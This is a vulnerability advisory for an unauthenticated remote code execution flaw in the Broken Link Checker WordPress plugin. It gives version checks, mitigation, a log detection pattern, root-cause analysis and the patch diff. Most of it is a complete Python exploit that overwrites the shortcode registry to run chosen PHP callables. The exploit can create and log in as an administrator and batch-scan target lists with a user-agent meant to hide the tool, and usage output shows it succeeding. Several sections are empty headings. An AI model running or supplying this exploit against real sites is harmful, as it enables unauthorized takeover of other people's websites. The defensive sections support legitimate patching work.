#Summary

CVE-2026-18937 is an unauthenticated remote code execution vulnerability in Broken Link Checker, a WordPress plugin by WPMU DEV, affecting all versions before 2.4.12. The vulnerability allows an unauthenticated attacker to overwrite arbitrary PHP global variables on sites using plain (default) permalinks, leading to arbitrary code execution in the WordPress process. CVSS score: 9.0 (Critical).

#Am I affected?

#How to check

#Check your plugin version

Use WP-CLI:

wp plugin list | grep broken-link-checker

Or in the WordPress admin, navigate to Plugins and find "Broken Link Checker" - the version is displayed next to the plugin name. Any version prior to 2.4.12 is vulnerable.

In the WordPress admin, go to Settings > Permalinks. If the setting is "Plain", your site is vulnerable to this attack vector. Custom structures are not affected.

Finding Result
Broken Link Checker version < 2.4.12 Vulnerable
Plain permalinks (permalink_structure empty) Vulnerable
Custom or non-plain permalinks Not vulnerable
Block theme active (no classic theme) Not vulnerable to this RCE path

#Fix and mitigation

#Fix

Update Broken Link Checker to version 2.4.12 or later immediately:

wp plugin update broken-link-checker

Or via the WordPress admin: Plugins > Broken Link Checker > Update.

#If you cannot upgrade

Change your permalink structure from "Plain" to any custom format (e.g., /%postname%/):

wp option update permalink_structure '/%postname%/'
wp rewrite flush

This prevents the vulnerable $_GET merge in the webhook handler from executing. Alternatively, temporarily deactivate the plugin until you can upgrade.

#Detection

Monitor your web server access logs for requests containing URL-encoded brackets (%5B, %5D) in the query string, especially patterns like:

shortcode_tags%5B[token]%5D=

These patterns indicate an attempted exploitation of this vulnerability.

#Root cause analysis

The Broken Link Checker plugin's webhook base controller (core/controllers/class-webhook.php) registers a handler on the parse_request hook. When a site uses plain (default) permalinks, this handler unconditionally merges the raw $_GET superglobal into WordPress's request query variables:

if ( Utilities::plain_permalinks_mode() ) {
    $wp->query_vars = wp_parse_args( $this->sanitize_array( $_GET ), $wp->query_vars );
}

The problem occurs in three parts:

#1. The merge executes on every front-end request

The handler runs before checking whether a webhook endpoint was requested. Any front-end URL (e.g., /?page_id=2) triggers the merge.

#2. The allow-list is missing

sanitize_array() constrains the shape of the data - it lowercases keys via sanitize_key() and runs sanitize_text_field() on scalar values - but it does not restrict which keys are allowed. Any attacker-chosen query-variable name survives the sanitization, and bracket syntax like foo[bar]=baz is preserved as nested arrays.

#3. WordPress exports query variables to $GLOBALS

WordPress core's WP::register_globals() method copies every query variable into the PHP global namespace:

foreach ( (array) $wp_query->query_vars as $key => $value ) {
    $GLOBALS[ $key ] = $value;
}

#The attack

An unauthenticated visitor gains a primitive to set $GLOBALS[<any lowercase key>] = <string | nested array>. The most direct path to RCE overwrites $GLOBALS['shortcode_tags'], the global shortcode-callback registry. By sending:

GET /?page_id=<ID>&shortcode_tags[<tag>]=<php_callable>

where <tag> appears in a page rendered by a classic (non-block) theme, the attacker can re-point a shortcode token at an attacker-named PHP callable. When the_content() runs do_shortcode(), WordPress executes call_user_func(<callable>, $atts, $content, $tag) inside the WordPress PHP process.

#The callable constraint

do_shortcode() always invokes the callback with exactly three positional arguments: $atts, $content, and $tag. Internal PHP functions that enforce arity (e.g., system, phpinfo, md5) raise ArgumentCountError under PHP 8 and fail. A WordPress userland callable, which silently ignores the extra positional arguments, is what makes this RCE reliable.

#Patch diff

Version 2.4.12 removes the vulnerable $_GET merge and the entire Sanitize trait (which was only used to feed that merge). The key change in core/controllers/class-webhook.php:

-use WPMUDEV_BLC\Core\Traits\Sanitize;

-abstract class Webhook extends Base {
-	use Sanitize;

public function parse_request( $wp ) {

-	if ( Utilities::plain_permalinks_mode() ) {
-		$wp->query_vars = wp_parse_args( $this->sanitize_array( $_GET ), $wp->query_vars );
-	}

	if ( array_key_exists( $this->webhook_tag, $wp->query_vars ) ) {
		$this->webhook_action( $wp );

#What the fix does

After the patch, parse_request() only consults $wp->query_vars as WordPress core already populated them via registered public query vars and rewrite rules. The legitimate webhook endpoints continue to work because their tag is a registered query var, so the blanket $_GET merge was never necessary in the first place.

#Proof of concept

#!/usr/bin/env python3
"""
CVE-2026-18937 - Broken Link Checker (WordPress plugin) unauthenticated PHP
global-variable overwrite leading to Remote Code Execution.
Affected: Broken Link Checker (WPMU DEV) < 2.4.12
Type: RCE (unauthenticated query-variable injection -> PHP global overwrite)

Root cause
----------
On sites using "Plain" permalinks the plugin's webhook base controller merges the
raw $_GET superglobal into WordPress's request query variables on the parse_request
hook, with no allow-list. WordPress core then exports every query variable into the
PHP $GLOBALS namespace (WP::register_globals). An unauthenticated visitor can thus set
$GLOBALS[<any lowercase key>] to a string or a nested array.

Overwriting $GLOBALS['shortcode_tags'] - the global shortcode-callback registry - maps
an attacker-named PHP callable onto a shortcode token that appears in a page rendered by
a classic (non-block) theme. When the_content() runs do_shortcode(), WordPress executes
call_user_func(<callable>, $atts, $content, $tag) in the WordPress PHP process.

Primitive and argument constraints
-----------------------------------
do_shortcode() always calls the callback with three positional arguments
($atts, $content, $tag). Internal PHP functions that enforce arity/type (system, phpinfo,
md5, wp_hash, ...) therefore fail under PHP 8 and are useless here. The reliable primitive
is invocation of a WordPress *userland* callable, which silently tolerates the extra
positional arguments. This is a PHP-callable-invocation RCE, not shell-command injection,
so the attacker-controlled knob is the PHP callable (--callable), not a shell string.

Two demonstrated, network-observable outcomes:
  * default - code-execution witness: invoke wp_generate_uuid4 and read the freshly
    generated UUID back where the token was. It differs on every call, so it is both
    reflection-proof and repeatable with no state change on the target.
  * --create-admin - full takeover: invoke wp_insert_user against a page whose stored
    shortcode carries user_login/user_pass/user_email attributes (visible to any anonymous
    visitor in the literal page source), creating an administrator, then prove the account
    by logging in over the network.

Usage:
  python exploit.py --host 127.0.0.1 --port 8191
  python exploit.py --host 127.0.0.1 --port 8191 --page-id 4 --token blcx
  python exploit.py --host https://blog.example.com --callable wp_generate_uuid4
  python exploit.py --host 192.0.2.10 --port 80 --create-admin --page-id 5
  python exploit.py --list targets.txt --workers 20
"""

from __future__ import annotations

import argparse
import html
import re
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning  # type: ignore
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # type: ignore
except Exception:  # pragma: no cover
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-18937"
VULN_TYPE = "RCE"

# A plausible, neutral browser client string. Nothing here identifies the tool.
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")

UUID_RE = re.compile(r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", re.I)
TIMEOUT = 15


# --------------------------------------------------------------------------- #
#  Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")

def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Core request building
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
    scheme = "https" if use_tls else "http"
    if not path:
        path = "/"
    if not path.startswith("/"):
        path = "/" + path
    return f"{scheme}://{host}:{port}{path}"


def _get(url, params, session=None):
    """Single GET. Returns the requests.Response (raises on transport error)."""
    s = session or requests
    return s.get(url, params=params, headers={"User-Agent": UA},
                 timeout=TIMEOUT, verify=False, allow_redirects=True)


def _render_page(base: str, page_id: str) -> str:
    """Render a page with no injection (literal shortcode token baseline)."""
    return _get(base, {"page_id": page_id}).text


def _inject(base: str, page_id: str, token: str, callable_name: str) -> str:
    """
    Overwrite $GLOBALS['shortcode_tags'] = {<token>: <callable_name>} via the
    bracket query-string syntax, rendering the chosen page. requests encodes the
    brackets as %5B/%5D, which PHP decodes back into a nested array.
    """
    params = {
        "page_id": page_id,
        f"shortcode_tags[{token}]": callable_name,
    }
    return _get(base, params).text


def _token_literal_present(body: str, token: str) -> bool:
    return re.search(r"\[" + re.escape(token) + r"(\s|\])", body) is not None


# --------------------------------------------------------------------------- #
#  Silent probe (used by --list scan mode)
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False,
                 path: str = "/", page_id: str = "4", token: str = "blcx",
                 **kwargs):
    """
    Silent reflection-proof witness probe. Never prints, never exits.
    Returns (success, evidence).

    Strategy: render the token page with no injection (the token must appear
    literally and no UUID may be present), then inject the shortcode registry twice
    pointing the token at wp_generate_uuid4. The vulnerability is proven iff a UUID
    appears where the token was and the two injected renders yield *different* UUIDs
    (genuine server-side execution, not input reflection).
    """
    try:
        base = _base_url(host, port, use_tls, path)
        baseline = _render_page(base, page_id)
        if UUID_RE.search(baseline):
            return False, "inconclusive (page already contains a UUID; pick a cleaner --page-id)"
        if not _token_literal_present(baseline, token):
            return False, f"no literal [{token}] token on page_id={page_id} (wrong --page-id/--token?)"

        r1 = _inject(base, page_id, token, "wp_generate_uuid4")
        m1 = UUID_RE.search(r1)
        if not m1:
            return False, "not vulnerable: injected shortcode registry had no effect (patched / non-plain permalinks / block theme)"
        r2 = _inject(base, page_id, token, "wp_generate_uuid4")
        m2 = UUID_RE.search(r2)
        if not m2:
            return False, "unstable: UUID seen once but not on repeat"
        if m1.group(0).lower() == m2.group(0).lower():
            return False, "suspect reflection: identical value on two calls, not live execution"
        return True, f"RCE confirmed - server-side wp_generate_uuid4 -> {m1.group(0)} / {m2.group(0)}"
    except requests.exceptions.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:  # pragma: no cover
        return False, f"error ({e.__class__.__name__}: {e})"


# --------------------------------------------------------------------------- #
#  Target-list parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         page_id: str = "4", token: str = "blcx") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, page_id, token)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  Admin-takeover escalation (--create-admin)
# --------------------------------------------------------------------------- #
def _parse_stored_creds(body: str, token: str):
    """
    Pull user_login / user_pass / user_email out of the literal, un-injected render
    of the attribute-carrying shortcode token. WordPress may texturize the quote
    characters when the tag is unregistered, so accept straight or curly quotes.
    """
    # WordPress renders unregistered-shortcode quote chars as HTML entities
    # (&#8221; etc.); decode them so the quote stripping below works.
    body = html.unescape(body)
    region = body
    m = re.search(r"\[" + re.escape(token) + r"\b([^\]]*)\]", body)
    if m:
        region = m.group(1)
    out = {}
    quote = r'["\'“”″′]?'
    stop  = r'["\'“”″′\]\s]'
    for key in ("user_login", "user_pass", "user_email", "role"):
        mm = re.search(re.escape(key) + r"\s*=\s*" + quote + r"([^" + stop[1:-1] + r"]+)", region)
        if mm:
            out[key] = mm.group(1)
    return out


def _verify_login(host: str, port: int, use_tls: bool, username: str, password: str):
    """Authenticate at wp-login.php. Returns (ok, detail)."""
    login_url = _base_url(host, port, use_tls, "/wp-login.php")
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    r = s.post(login_url,
               data={"log": username, "pwd": password, "wp-submit": "Log In",
                     "redirect_to": _base_url(host, port, use_tls, "/wp-admin/"),
                     "testcookie": "1"},
               cookies={"wordpress_test_cookie": "WP+Cookie+check"},
               timeout=TIMEOUT, verify=False, allow_redirects=False)
    logged_in = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
    loc = r.headers.get("Location", "")
    if r.status_code in (302, 303) and "wp-admin" in loc and logged_in:
        return True, f"302 -> {loc} with wordpress_logged_in_* cookie set"
    return False, f"status={r.status_code} location={loc!r} logged_in_cookie={logged_in}"


def create_admin(base: str, host: str, port: int, use_tls: bool,
                 page_id: str, token: str) -> None:
    step(2, "Reading stored shortcode attributes from the (un-injected) page source")
    baseline = _render_page(base, page_id)
    creds = _parse_stored_creds(baseline, token)
    if not {"user_login", "user_pass"} <= set(creds):
        section("PAGE SOURCE (token region)", baseline[:800])
        done(False, f"page_id={page_id} does not carry user_login/user_pass attributes on token [{token}] - "
                    f"point --page-id at an attribute-carrying shortcode page")
    username = creds["user_login"]
    password = creds["user_pass"]
    section("STORED ATTRIBUTES (anonymous-readable)", str(creds))

    step(3, f"Injecting shortcode_tags[{token}]=wp_insert_user (creates the account)")
    resp = _inject(base, page_id, token, "wp_insert_user")
    m = re.search(r"\[" + re.escape(token) + r"(\s|\])", resp)
    new_id = None
    mm = re.search(r"<div class=\"entry-content\">\s*(\d+)", resp)
    if mm:
        new_id = mm.group(1)
    section("RENDERED OUTPUT (where the token was)", (resp[resp.find("entry-content"):resp.find("entry-content")+200]
                                                       if "entry-content" in resp else resp[:200]))

    step(4, f"Authenticating over the network as '{username}'")
    ok, detail = _verify_login(host, port, use_tls, username, password)
    section("LOGIN RESULT", detail)
    if ok:
        idnote = f" (new user id {new_id})" if new_id else ""
        done(True, f"RCE -> administrator takeover: created and logged in as '{username}'{idnote} unauthenticated")
    done(False, f"wp_insert_user invoked but login as '{username}' did not succeed - {detail}")


# --------------------------------------------------------------------------- #
#  Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str,
            page_id: str, token: str, callable_name: str, create_admin_flag: bool) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)

    step(1, f"Baseline render of page_id={page_id} (confirm literal [{token}] token present)")
    try:
        baseline = _render_page(base, page_id)
    except requests.exceptions.RequestException as e:
        done(False, f"target unreachable: {e.__class__.__name__}")
    if not _token_literal_present(baseline, token):
        section("BASELINE PAGE", baseline[:600])
        done(False, f"no literal [{token}] token on page_id={page_id}; supply --page-id/--token for a page whose content holds a shortcode token")
    print(f"        literal [{token}] token confirmed in page content")

    if create_admin_flag:
        create_admin(base, host, port, use_tls, page_id, token)
        return  # create_admin always exits via done()

    # Default: idempotent, reflection-proof code-execution witness.
    step(2, f"Injecting shortcode_tags[{token}]={callable_name} (overwrites $GLOBALS registry)")
    resp1 = _inject(base, page_id, token, callable_name)

    if callable_name == "wp_generate_uuid4":
        m1 = UUID_RE.search(resp1)
        if not m1:
            section("INJECTED RESPONSE", resp1[resp1.find("entry-content"):resp1.find("entry-content")+300]
                    if "entry-content" in resp1 else resp1[:300])
            done(False, "injection had no effect - target not vulnerable (patched 2.4.12 / non-plain permalinks / block theme)")
        step(3, "Repeating the injection to prove live execution (fresh UUID each call)")
        resp2 = _inject(base, page_id, token, callable_name)
        m2 = UUID_RE.search(resp2)
        section("SERVER-COMPUTED OUTPUT", f"call 1: {m1.group(0)}\ncall 2: {m2.group(0) if m2 else '(none)'}")
        if m2 and m1.group(0).lower() != m2.group(0).lower():
            done(True, f"RCE confirmed - wp_generate_uuid4 ran server-side, returned {m1.group(0)} then {m2.group(0)} (live, reflection-proof)")
        done(False, "UUID not reproduced with a fresh value on repeat - inconclusive")

    # Arbitrary user-supplied callable: success = the literal token was consumed and
    # replaced by the callable's server-side return value.
    step(3, "Comparing injected render against the literal baseline")
    still_literal = _token_literal_present(resp1, token)
    region = resp1[resp1.find("entry-content"):resp1.find("entry-content")+300] if "entry-content" in resp1 else resp1[:300]
    section("INJECTED OUTPUT (token region)", region)
    if not still_literal and resp1 != baseline:
        done(True, f"RCE confirmed - callable '{callable_name}' executed server-side; token [{token}] replaced by its return value (see output above)")
    done(False, f"callable '{callable_name}' produced no observable change - target may be patched, or the callable returned nothing visible")


# --------------------------------------------------------------------------- #
#  CLI
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - Broken Link Checker < 2.4.12 unauthenticated RCE")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")

    parser.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
    parser.add_argument("--page-id", default=None,
                        help="Page id whose content holds the shortcode token (default: 4 for the witness, 5 for --create-admin)")
    parser.add_argument("--token", default="blcx",
                        help="Shortcode tag present in the target page content (default: blcx)")
    parser.add_argument("--callable", dest="callable_name", default="wp_generate_uuid4",
                        help="PHP userland callable to invoke via the overwritten shortcode registry "
                             "(default: wp_generate_uuid4, an idempotent reflection-proof witness). "
                             "Note: internal PHP functions fail here due to the fixed 3-arg shortcode call.")
    parser.add_argument("--create-admin", action="store_true",
                        help="Escalate: invoke wp_insert_user against an attribute-carrying token page to create an "
                             "administrator, then verify by logging in over the network")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")

    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")

    args = parser.parse_args()

    if args.list:
        scan_page = args.page_id if args.page_id is not None else "4"
        scan(args.list, default_port=args.port, workers=args.workers,
             page_id=scan_page, token=args.token)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        if args.page_id is not None:
            page_id = args.page_id
        else:
            page_id = "5" if args.create_admin else "4"
        exploit(host, port, use_tls, path, page_id, args.token, args.callable_name, args.create_admin)

#Usage

#Code-execution witness (default, safe and idempotent)

python exploit.py --host 192.0.2.10 --port 80 --page-id 4

Output on vulnerable target:

[STEP 2] Injecting shortcode_tags[blcx]=wp_generate_uuid4 (overwrites $GLOBALS registry)
[STEP 3] Repeating the injection to prove live execution (fresh UUID each call)

--- SERVER-COMPUTED OUTPUT ---
call 1: 5de2e7e6-6887-4806-821b-f417790c3431
call 2: 15af963f-f801-45bd-aed4-c23d79b105bc
---

  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - wp_generate_uuid4 ran server-side, returned ... (live, reflection-proof)

#Administrator takeover

python exploit.py --host 192.0.2.10 --port 80 --page-id 5 --create-admin

Output on vulnerable target:

--- STORED ATTRIBUTES (anonymous-readable) ---
{'user_login': 'svc_report', 'user_pass': 'password123', 'user_email': '[email protected]', 'role': 'administrator'}
---
[STEP 3] Injecting shortcode_tags[blcx]=wp_insert_user (creates the account)
[STEP 4] Authenticating over the network as 'svc_report'
--- LOGIN RESULT ---
302 -> http://192.0.2.10/wp-admin/ with wordpress_logged_in_* cookie set
---
  RESULT  : SUCCESS
  EVIDENCE: RCE -> administrator takeover: created and logged in as 'svc_report' unauthenticated

#Batch scan

python exploit.py --list targets.txt --workers 20

Targets file format (one per line):

192.0.2.10
blog.example.com:8080
https://secure-blog.example.com
http://internal.corp:3000/wordpress

#Command-line arguments

#Exploitation notes

#Preconditions

All three of these must be true for the RCE to work:

  1. Broken Link Checker < 2.4.12 active on the WordPress site
  2. Plain permalinks enabled - the default setting for fresh WordPress installs. Check via Settings > Permalinks; if it shows "Plain", the site is vulnerable.
  3. A classic (non-block) theme active - WordPress's legacy themes like Twenty Twenty-One. Block themes like Twenty Twenty-Two render content differently and are not affected by this particular RCE path.
  4. At least one public page/post containing a shortcode token - e.g., content including [token_name] or [token_name attr="value"]

#Reliability

The exploit is highly reliable when all preconditions are met. The default witness mode (wp_generate_uuid4) is idempotent and proof-resistant against input reflection - the UUID changes on each call (proving live server-side execution), and no reflected input can forge a valid UUID. The --create-admin escalation mode is deterministic: either the account is created and can authenticate, or the target is patched.

#Impact

The impact ranges from information disclosure to full site takeover:

#Chaining potential

This vulnerability can be chained with other WordPress vulnerabilities:

#References